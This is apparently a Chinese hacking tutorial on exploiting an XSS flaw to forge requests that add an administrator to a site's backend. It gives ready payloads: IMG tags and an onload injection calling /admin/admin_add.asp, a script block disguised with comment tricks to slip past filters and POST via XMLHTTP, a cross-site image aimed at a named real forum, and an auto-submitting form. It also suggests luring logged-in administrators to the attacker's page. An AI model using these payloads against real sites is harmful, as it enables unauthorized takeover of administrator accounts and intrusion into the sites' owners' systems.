一般發現一個xss漏洞后要做的基本上就是這些:
1. 偽造請求 使用$_REQUEST或$_GET
首先我們要找找該網站使用的程序是不是在網上能找到源碼,如果能找到源碼的話,就去分析后台管理員更改密碼或者增加管理員的頁面,然后分析管理員使用的是不是$_REQUEST接收參數,如果是的話,我們使用該XSS漏洞構造一個請求,比如前台發表留言中可以使用HTML代碼,那么我們就嵌入一個IMG元素:
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
當管理員登錄管理后台后看到包含img的頁面的時候,就偽造了一個增加后台管理員的請求,而該請求是由管理員發出的,所以順利的增加了一個新的管理員。
如果是可視文本編輯器,可以嘗試使用輸入:
http://www.123.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
這樣最終會構造出:
<img src="http://www.123.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
總之要舉一反三。
2. 偽造請求 使用$_POST
當后台接收增加管理員或更改管理密碼的變量時使用的是$_POST方式,那么第一種方法無效,我們視情況而定,如果沒有過濾<script>,我們可以通過ajax方式來偽造請求,如:
<sc/*xss*/ript type="text/javascript">
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
aj.open("POST", "/admin/admin_add.asp", false);
var postdata = 'name=xxx&psd=yyy';
aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
aj.send(postdata);
</scr/*xss*/ipt>
/*xss*/是HTML注釋,用來繞過簡單的對script代碼塊的過濾。
3. 跨站偽造請求 使用$_GET 或 $_REQUEST
與第一種偽造請求的方式相似,但是第一種偽造請求是利用站內的xss漏洞進行的,而跨站偽造請求,是站外發起的,比如我在我的博客的首頁放了這樣一個圖片
<img src="http://www.dvbbs.com/admin/admin_add.asp?user=xxx&psd=yyy"/>
然后我跑到dvbbs上發帖子,“勾引”動網論壇的管理員來我的博客,如果動網論壇的管理員已經登錄了他的管理后台,然后使用共享進程的瀏覽器(目前基於ie內核的myie,maxton等等還有firefox都是共享進程的)來訪問我的博客,那么他的后台就會被加入一個用戶。
4.跨站偽造請求 使用$_POST(0day)
如果入侵目標的管理后台使用的是$_POST方式來接受變量,那么我們無法在我們的網站跨站使用ajax的post方式提交數據過去,因為ajax是無法跨域的。
但是我們可以在我們的網站放一個form,里面填寫好數據,form的action為要利用的有漏洞的頁面,然后當有人打開該頁面的時候,我們就用js控制該form進行submit,ajax雖然不能跨域,但向域之外的地址提交form總是可以的。
總之,第3,4種方法成功幾率要小一些,因為我們要想辦法讓已經登錄自身后台的管理員,使用共享session的瀏覽器訪問我們的偽造請求的頁面,有一點社會工程學的技術含量
